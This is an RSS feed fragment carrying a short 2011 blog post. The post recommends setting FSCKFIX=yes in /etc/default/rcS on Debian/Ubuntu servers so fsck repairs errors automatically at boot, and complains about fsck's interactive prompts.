		<description><![CDATA[Tip for the day: Edit /etc/default/rcS on Debian/Ubuntu servers, and set FSCKFIX=yes (default of no) so next time your server runs fsck at startup, and spends hours doing it to only moan when it finds an error, and tells you to waste more time by running fsck with &#8216;-y&#8217; (to fix it). Quite why fsck &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/fsck-y-or-fsck-yes/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Tip for the day:</p>
<p>Edit /etc/default/rcS on <a href="http://debian.org">Debian</a>/Ubuntu servers, and set <strong>FSCKFIX=yes </strong>(default of no) so next time your server runs fsck at startup, and spends hours doing it to only moan when it finds an error, and tells you to waste more time by running fsck with &#8216;-y&#8217; (to fix it).</p>
<p>Quite why fsck even asks me to say &#8216;yes&#8217; to it&#8217;s &#8220;do you want to fix&#8230;?&#8221; questions is another matter. It really annoys me &#8211; it&#8217;s not like I have enough information to make any sort of informed choice &#8211; it&#8217;s not like I know the structure that&#8217;s present on the disk, in order to say &#8220;No! You&#8217;re wrong FSCK, inode xxxxx should be blahblahblah&#8221;. I can only say &#8216;yes&#8217;.</p>
<p>If only FSCKFIX=yes was the default setting&#8230;.. I can&#8217;t imagine Windows or OSX ever asking someone to answer such questions.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/fsck-y-or-fsck-yes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

